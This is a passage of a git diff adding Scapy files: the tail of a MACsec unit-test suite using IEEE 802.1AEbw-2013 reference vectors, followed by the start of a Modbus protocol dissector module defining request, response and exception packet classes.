b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00\x80\x05\xab\x00\x00@\x01\xf1~\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00M\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" +assert(raw(txdec) == raw(txref)) +assert(raw(rxdec) == raw(rxref)) + + + += MACsec - decrypt - invalid packet +rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xba\xdb\xad\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") +rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +try: + rxdec = rxsa.decap(rxsa.decrypt(rx)) + assert(not "This packet shouldn't have been decrypted correctly") +except InvalidTag: + pass + + + += MACsec - decap - non-Ethernet +rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +try: + rxsa.decap(IP()) +except TypeError as e: + assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec") + += MACsec - decap - non-MACsec +rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +try: + rxsa.decap(Ether()/IP()) +except TypeError as e: + assert(str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec") + += MACsec - encap - non-Ethernet +txsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +try: + txsa.encap(IP()) +except TypeError as e: + assert(str(e) == "cannot encapsulate packet in MACsec, must be Ethernet") + + +# Reference packets tests from the MACsec specification document (IEEE Std 802.1AEbw-2013, Annex C). +# Check encapsulation, encryption, decryption, decapsulation for each test case. + += MACsec - Standard Test Vectors - C.1.1 GCM-AES-128 (54-octet frame integrity protection) +sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) +m = sa.encap(p) +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001F09478A9B09007D06F46E9B6A1DA25DD"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.1.2 GCM-AES-256 (54-octet frame integrity protection) +sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) +m = sa.encap(p) +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400012F0BC5AF409E06D609EA8B7D0FA5EA50"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.1.3 GCM-AES-XPN-128 (54-octet frame integrity protection) +sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') +p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) +m = sa.encap(p) +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323334000117FE1981EBDD4AFC5062697E8BAA0C23"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.1.4 GCM-AES-XPN-256 (54-octet frame integrity protection) +sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') +p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001"))) +m = sa.encap(p) +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400014DBD2F6A754A6CF728CC129BA6931577"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.5.1 GCM-AES-128 (54-octet frame confidentiality protection) +sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0) +p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) +m = sa.encap(p) +m[MACsec].ES = 1 +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED13B4C72B389DC5018E72A171DD85A5D3752274D3A019FBCAED09A425CD9B2E1C9B72EEE7C9DE7D52B3F3D6A5284F4A6D3FE22A5D6C2B960494C3"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.5.2 GCM-AES-256 (54-octet frame confidentiality protection) +sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0) +p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) +m = sa.encap(p) +m[MACsec].ES = 1 +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457EDC1623F55730C93533097ADDAD25664966125352B43ADACBD61C5EF3AC90B5BEE929CE4630EA79F6CE51912AF39C2D1FDC2051F8B7B3C9D397EF2"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.5.3 GCM-AES-XPN-128 (54-octet frame confidentiality protection) +sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') +p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) +m = sa.encap(p) +m[MACsec].ES = 1 +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED9CA46984430203ED416EBDC2FE2622BA3E5EAB6961C36383009E187E9B0C88564653B9ABD216441C6AB6F0A232E9E44C978CF7CD84D43484D101"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) + += MACsec - Standard Test Vectors - C.5.4 GCM-AES-XPN-256 (54-octet frame confidentiality protection) +sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') +p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes(bytearray.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004"))) +m = sa.encap(p) +m[MACsec].ES = 1 +iv = sa.make_iv(m) +assert(raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80')) +e = sa.encrypt(m) +ref = Raw(bytes(bytearray.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED88D9F7D1F1578EE34BA7B1ABC89893EF1D3398C9F1DD3E47FBD8553E0FF786EF5699EB01EA10420D0EBD39A0E273C4C7F95ED843207D7A497DFA"))) +assert(raw(e) == raw(ref)) +dt = sa.decrypt(e) +assert(raw(dt) == raw(m)) diff --git a/libs/scapy/contrib/modbus.py b/libs/scapy/contrib/modbus.py new file mode 100755 index 0000000..1325040 --- /dev/null +++ b/libs/scapy/contrib/modbus.py @@ -0,0 +1,948 @@ +# coding: utf8 + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = ModBus Protocol +# scapy.contrib.status = loads + +# Copyright (C) 2017 Arthur Gervais, Ken LE PRADO, Sébastien Mainand, +# Thomas Aurel + +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import XByteField, XShortField, StrLenField, ByteEnumField, \ + BitFieldLenField, ByteField, ConditionalField, EnumField, FieldListField, \ + ShortField, StrFixedLenField, XShortEnumField +from scapy.layers.inet import TCP +from scapy.utils import orb +from scapy.config import conf +from scapy.volatile import VolatileValue + + +_modbus_exceptions = {1: "Illegal Function Code", + 2: "Illegal Data Address", + 3: "Illegal Data Value", + 4: "Server Device Failure", + 5: "Acknowledge", + 6: "Server Device Busy", + 8: "Memory Parity Error", + 10: "Gateway Path Unavailable", + 11: "Gateway Target Device Failed to Respond"} + + +class _ModbusPDUNoPayload(Packet): + + def extract_padding(self, s): + return b"", None + + +class ModbusPDU01ReadCoilsRequest(_ModbusPDUNoPayload): + name = "Read Coils Request" + fields_desc = [XByteField("funcCode", 0x01), + XShortField("startAddr", 0x0000), # 0x0000 to 0xFFFF + XShortField("quantity", 0x0001)] + + +class ModbusPDU01ReadCoilsResponse(_ModbusPDUNoPayload): + name = "Read Coils Response" + fields_desc = [XByteField("funcCode", 0x01), + BitFieldLenField("byteCount", None, 8, + count_of="coilStatus"), + FieldListField("coilStatus", [0x00], ByteField("", 0x00), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU01ReadCoilsError(_ModbusPDUNoPayload): + name = "Read Coils Exception" + fields_desc = [XByteField("funcCode", 0x81), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU02ReadDiscreteInputsRequest(_ModbusPDUNoPayload): + name = "Read Discrete Inputs" + fields_desc = [XByteField("funcCode", 0x02), + XShortField("startAddr", 0x0000), + XShortField("quantity", 0x0001)] + + +class ModbusPDU02ReadDiscreteInputsResponse(Packet): + """ inputStatus: result is represented as bytes, padded with 0 to have a + integer number of bytes. The field does not parse this result and + present the bytes directly + """ + name = "Read Discrete Inputs Response" + fields_desc = [XByteField("funcCode", 0x02), + BitFieldLenField("byteCount", None, 8, + count_of="inputStatus"), + FieldListField("inputStatus", [0x00], ByteField("", 0x00), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU02ReadDiscreteInputsError(Packet): + name = "Read Discrete Inputs Exception" + fields_desc = [XByteField("funcCode", 0x82), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU03ReadHoldingRegistersRequest(_ModbusPDUNoPayload): + name = "Read Holding Registers" + fields_desc = [XByteField("funcCode", 0x03), + XShortField("startAddr", 0x0000), + XShortField("quantity", 0x0001)] + + +class ModbusPDU03ReadHoldingRegistersResponse(Packet): + name = "Read Holding Registers Response" + fields_desc = [XByteField("funcCode", 0x03), + BitFieldLenField("byteCount", None, 8, + count_of="registerVal", + adjust=lambda pkt, x: x * 2), + FieldListField("registerVal", [0x0000], + ShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU03ReadHoldingRegistersError(Packet): + name = "Read Holding Registers Exception" + fields_desc = [XByteField("funcCode", 0x83), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU04ReadInputRegistersRequest(_ModbusPDUNoPayload): + name = "Read Input Registers" + fields_desc = [XByteField("funcCode", 0x04), + XShortField("startAddr", 0x0000), + XShortField("quantity", 0x0001)] + + +class ModbusPDU04ReadInputRegistersResponse(Packet): + name = "Read Input Registers Response" + fields_desc = [XByteField("funcCode", 0x04), + BitFieldLenField("byteCount", None, 8, + count_of="registerVal", + adjust=lambda pkt, x: x * 2), + FieldListField("registerVal", [0x0000], + ShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU04ReadInputRegistersError(Packet): + name = "Read Input Registers Exception" + fields_desc = [XByteField("funcCode", 0x84), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU05WriteSingleCoilRequest(Packet): + name = "Write Single Coil" + fields_desc = [XByteField("funcCode", 0x05), + # from 0x0000 to 0xFFFF + XShortField("outputAddr", 0x0000), + # 0x0000: Off, 0xFF00: On + XShortField("outputValue", 0x0000)] + + +class ModbusPDU05WriteSingleCoilResponse(Packet): + # The answer is the same as the request if successful + name = "Write Single Coil" + fields_desc = [XByteField("funcCode", 0x05), + # from 0x0000 to 0xFFFF + XShortField("outputAddr", 0x0000), + # 0x0000 == Off, 0xFF00 == On + XShortField("outputValue", 0x0000)] + + +class ModbusPDU05WriteSingleCoilError(Packet): + name = "Write Single Coil Exception" + fields_desc = [XByteField("funcCode", 0x85), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU06WriteSingleRegisterRequest(_ModbusPDUNoPayload): + name = "Write Single Register" + fields_desc = [XByteField("funcCode", 0x06), + XShortField("registerAddr", 0x0000), + XShortField("registerValue", 0x0000)] + + +class ModbusPDU06WriteSingleRegisterResponse(Packet): + name = "Write Single Register Response" + fields_desc = [XByteField("funcCode", 0x06), + XShortField("registerAddr", 0x0000), + XShortField("registerValue", 0x0000)] + + +class ModbusPDU06WriteSingleRegisterError(Packet): + name = "Write Single Register Exception" + fields_desc = [XByteField("funcCode", 0x86), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU07ReadExceptionStatusRequest(_ModbusPDUNoPayload): + name = "Read Exception Status" + fields_desc = [XByteField("funcCode", 0x07)] + + +class ModbusPDU07ReadExceptionStatusResponse(Packet): + name = "Read Exception Status Response" + fields_desc = [XByteField("funcCode", 0x07), + XByteField("startAddr", 0x00)] + + +class ModbusPDU07ReadExceptionStatusError(Packet): + name = "Read Exception Status Exception" + fields_desc = [XByteField("funcCode", 0x87), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +_diagnostics_sub_function = { + 0x0000: "Return Query Data", + 0x0001: "Restart Communications Option", + 0x0002: "Return Diagnostic Register", + 0x0003: "Change ASCII Input Delimiter", + 0x0004: "Force Listen Only Mode", + 0x000A: "Clear Counters and Diagnostic Register", + 0x000B: "Return Bus Message Count", + 0x000C: "Return Bus Communication Error Count", + 0x000D: "Return Bus Exception Error Count", + 0x000E: "Return Slave Message Count", + 0x000F: "Return Slave No Response Count", + 0x0010: "Return Slave NAK Count", + 0x0011: "Return Slave Busy Count", + 0x0012: "Return Bus Character Overrun Count", + 0x0014: "Clear Overrun Counter and Flag" +} + + +class ModbusPDU08DiagnosticsRequest(_ModbusPDUNoPayload): + name = "Diagnostics" + fields_desc = [XByteField("funcCode", 0x08), + XShortEnumField("subFunc", 0x0000, + _diagnostics_sub_function), + FieldListField("data", [0x0000], XShortField("", 0x0000))] + + +class ModbusPDU08DiagnosticsResponse(_ModbusPDUNoPayload): + name = "Diagnostics Response" + fields_desc = [XByteField("funcCode", 0x08), + XShortEnumField("subFunc", 0x0000, + _diagnostics_sub_function), + FieldListField("data", [0x0000], XShortField("", 0x0000))] + + +class ModbusPDU08DiagnosticsError(_ModbusPDUNoPayload): + name = "Diagnostics Exception" + fields_desc = [XByteField("funcCode", 0x88), + ByteEnumField("exceptionCode", 1, _modbus_exceptions)] + + +class ModbusPDU0BGetCommEventCounterRequest(_ModbusPDUNoPayload): + name = "Get Comm Event Counter" + fields_desc = [XByteField("funcCode", 0x0B)] + + +class ModbusPDU0BGetCommEventCounterResponse(_ModbusPDUNoPayload): + name = "Get Comm Event Counter Response" + fields_desc = [XByteField("funcCode", 0x0B), + XShortField("status", 0x0000), + XShortField("eventCount", 0xFFFF)] + + +class ModbusPDU0BGetCommEventCounterError(_ModbusPDUNoPayload): + name = "Get Comm Event Counter Exception" + fields_desc = [XByteField("funcCode", 0x8B), + ByteEnumField("exceptionCode", 1, _modbus_exceptions)] + + +class ModbusPDU0CGetCommEventLogRequest(_ModbusPDUNoPayload): + name = "Get Comm Event Log" + fields_desc = [XByteField("funcCode", 0x0C)] + + +class ModbusPDU0CGetCommEventLogResponse(_ModbusPDUNoPayload): + name = "Get Comm Event Log Response" + fields_desc = [XByteField("funcCode", 0x0C), + ByteField("byteCount", 8), + XShortField("status", 0x0000), + XShortField("eventCount", 0x0108), + XShortField("messageCount", 0x0121), + FieldListField("event", [0x20, 0x00], XByteField("", 0x00))] + + +class ModbusPDU0CGetCommEventLogError(_ModbusPDUNoPayload): + name = "Get Comm Event Log Exception" + fields_desc = [XByteField("funcCode", 0x8C), + XByteField("exceptionCode", 1)] + + +class ModbusPDU0FWriteMultipleCoilsRequest(Packet): + name = "Write Multiple Coils" + fields_desc = [XByteField("funcCode", 0x0F), + XShortField("startAddr", 0x0000), + XShortField("quantityOutput", 0x0001), + BitFieldLenField("byteCount", None, 8, + count_of="outputsValue"), + FieldListField("outputsValue", [0x00], XByteField("", 0x00), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU0FWriteMultipleCoilsResponse(Packet): + name = "Write Multiple Coils Response" + fields_desc = [XByteField("funcCode", 0x0F), + XShortField("startAddr", 0x0000), + XShortField("quantityOutput", 0x0001)] + + +class ModbusPDU0FWriteMultipleCoilsError(Packet): + name = "Write Multiple Coils Exception" + fields_desc = [XByteField("funcCode", 0x8F), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU10WriteMultipleRegistersRequest(Packet): + name = "Write Multiple Registers" + fields_desc = [XByteField("funcCode", 0x10), + XShortField("startAddr", 0x0000), + BitFieldLenField("quantityRegisters", None, 16, + count_of="outputsValue"), + BitFieldLenField("byteCount", None, 8, + count_of="outputsValue", + adjust=lambda pkt, x: x * 2), + FieldListField("outputsValue", [0x0000], + XShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU10WriteMultipleRegistersResponse(Packet): + name = "Write Multiple Registers Response" + fields_desc = [XByteField("funcCode", 0x10), + XShortField("startAddr", 0x0000), + XShortField("quantityRegisters", 0x0001)] + + +class ModbusPDU10WriteMultipleRegistersError(Packet): + name = "Write Multiple Registers Exception" + fields_desc = [XByteField("funcCode", 0x90), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU11ReportSlaveIdRequest(_ModbusPDUNoPayload): + name = "Report Slave Id" + fields_desc = [XByteField("funcCode", 0x11)] + + +class ModbusPDU11ReportSlaveIdResponse(Packet): + name = "Report Slave Id Response" + fields_desc = [ + XByteField("funcCode", 0x11), + BitFieldLenField("byteCount", None, 8, length_of="slaveId"), + ConditionalField(StrLenField("slaveId", "", + length_from=lambda pkt: pkt.byteCount), + lambda pkt: pkt.byteCount > 0), + ConditionalField(XByteField("runIdicatorStatus", 0x00), + lambda pkt: pkt.byteCount > 0), + ] + + +class ModbusPDU11ReportSlaveIdError(Packet): + name = "Report Slave Id Exception" + fields_desc = [XByteField("funcCode", 0x91), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusReadFileSubRequest(Packet): + name = "Sub-request of Read File Record" + fields_desc = [ByteField("refType", 0x06), + ShortField("fileNumber", 0x0001), + ShortField("recordNumber", 0x0000), + ShortField("recordLength", 0x0001)] + + def guess_payload_class(self, payload): + return ModbusReadFileSubRequest + + +class ModbusPDU14ReadFileRecordRequest(Packet): + name = "Read File Record" + fields_desc = [XByteField("funcCode", 0x14), + ByteField("byteCount", None)] + + def guess_payload_class(self, payload): + if self.byteCount > 0: + return ModbusReadFileSubRequest + else: + return Packet.guess_payload_class(self, payload) + + def post_build(self, p, pay): + if self.byteCount is None: + tmp_len = len(pay) + p = p[:1] + struct.pack("!B", tmp_len) + p[3:] + return p + pay + + +class ModbusReadFileSubResponse(Packet): + name = "Sub-response" + fields_desc = [ + BitFieldLenField("respLength", None, 8, count_of="recData", + adjust=lambda pkt, p: p * 2 + 1), + ByteField("refType", 0x06), + FieldListField("recData", [0x0000], XShortField("", 0x0000), + count_from=lambda pkt: (pkt.respLength - 1) // 2), + ] + + def guess_payload_class(self, payload): + return ModbusReadFileSubResponse + + +class ModbusPDU14ReadFileRecordResponse(Packet): + name = "Read File Record Response" + fields_desc = [XByteField("funcCode", 0x14), + ByteField("dataLength", None)] + + def post_build(self, p, pay): + if self.dataLength is None: + tmp_len = len(pay) + p = p[:1] + struct.pack("!B", tmp_len) + p[3:] + return p + pay + + def guess_payload_class(self, payload): + if self.dataLength > 0: + return ModbusReadFileSubResponse + else: + return Packet.guess_payload_class(self, payload) + + +class ModbusPDU14ReadFileRecordError(Packet): + name = "Read File Record Exception" + fields_desc = [XByteField("funcCode", 0x94), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +# 0x15 : Write File Record +class ModbusWriteFileSubRequest(Packet): + name = "Sub request of Write File Record" + fields_desc = [ + ByteField("refType", 0x06), + ShortField("fileNumber", 0x0001), + ShortField("recordNumber", 0x0000), + BitFieldLenField("recordLength", None, 16, + length_of="recordData", + adjust=lambda pkt, p: p // 2), + FieldListField("recordData", [0x0000], + ShortField("", 0x0000), + length_from=lambda pkt: pkt.recordLength * 2), + ] + + def guess_payload_class(self, payload): + if payload: + return ModbusWriteFileSubRequest + + +class ModbusPDU15WriteFileRecordRequest(Packet): + name = "Write File Record" + fields_desc = [XByteField("funcCode", 0x15), + ByteField("dataLength", None)] + + def post_build(self, p, pay): + if self.dataLength is None: + tmp_len = len(pay) + p = p[:1] + struct.pack("!B", tmp_len) + p[3:] + return p + pay + + def guess_payload_class(self, payload): + if self.dataLength > 0: + return ModbusWriteFileSubRequest + else: + return Packet.guess_payload_class(self, payload) + + +class ModbusWriteFileSubResponse(ModbusWriteFileSubRequest): + name = "Sub response of Write File Record" + + def guess_payload_class(self, payload): + if payload: + return ModbusWriteFileSubResponse + + +class ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest): + name = "Write File Record Response" + + def guess_payload_class(self, payload): + if self.dataLength > 0: + return ModbusWriteFileSubResponse + else: + return Packet.guess_payload_class(self, payload) + + +class ModbusPDU15WriteFileRecordError(Packet): + name = "Write File Record Exception" + fields_desc = [XByteField("funcCode", 0x95), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU16MaskWriteRegisterRequest(Packet): + # and/or to 0xFFFF/0x0000 so that nothing is changed in memory + name = "Mask Write Register" + fields_desc = [XByteField("funcCode", 0x16), + XShortField("refAddr", 0x0000), + XShortField("andMask", 0xffff), + XShortField("orMask", 0x0000)] + + +class ModbusPDU16MaskWriteRegisterResponse(Packet): + name = "Mask Write Register Response" + fields_desc = [XByteField("funcCode", 0x16), + XShortField("refAddr", 0x0000), + XShortField("andMask", 0xffff), + XShortField("orMask", 0x0000)] + + +class ModbusPDU16MaskWriteRegisterError(Packet): + name = "Mask Write Register Exception" + fields_desc = [XByteField("funcCode", 0x96), + ByteEnumField("exceptCode", 1, _modbus_exceptions)] + + +class ModbusPDU17ReadWriteMultipleRegistersRequest(Packet): + name = "Read Write Multiple Registers" + fields_desc = [XByteField("funcCode", 0x17), + XShortField("readStartingAddr", 0x0000), + XShortField("readQuantityRegisters", 0x0001), + XShortField("writeStartingAddr", 0x0000), + BitFieldLenField("writeQuantityRegisters", None, 16, + count_of="writeRegistersValue"), + BitFieldLenField("byteCount", None, 8, + count_of="writeRegistersValue", + adjust=lambda pkt, x: x * 2), + FieldListField("writeRegistersValue", [0x0000], + XShortField("", 0x0000), + count_from=lambda pkt: pkt.byteCount)] + + +class ModbusPDU17ReadWriteMultipleRegistersResponse(Packet): + name = "Read Write Multiple Registers Response" + fields_desc = [XByteField("funcCode", 0x17), + BitFieldLenField("byteCount", None, 8, + count_of="registerVal", + adjust=lambda 